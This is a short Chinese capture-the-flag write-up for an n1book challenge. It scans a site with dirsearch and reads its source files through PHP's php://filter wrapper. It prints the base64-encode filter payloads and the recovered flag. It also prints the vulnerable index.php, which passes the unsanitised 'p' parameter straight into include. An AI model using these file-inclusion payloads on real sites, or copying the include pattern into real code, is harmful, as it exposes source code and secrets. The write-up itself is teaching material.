知识点:
php伪协议官网PHP: 支持的协议和封装协议 - Manual
<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>
1、通过dirsearch 扫描,发现存在flag.php和index.php
2、通过伪协议读取内容
?p=php://filter/read=convert.base64-encode/resource=flag
?p=php://filter/read=convert.base64-encode/resource=index
flag.php 内容
<?php
die('no no no');
//n1book{afr_1_solved}
index.php 文件内容自动跳转到/?p=hello
<?php
if(isset($_GET['p'])) {
include (string)$_GET['p'] . ".php";
}
else{
header('Location: /?p=hello');
}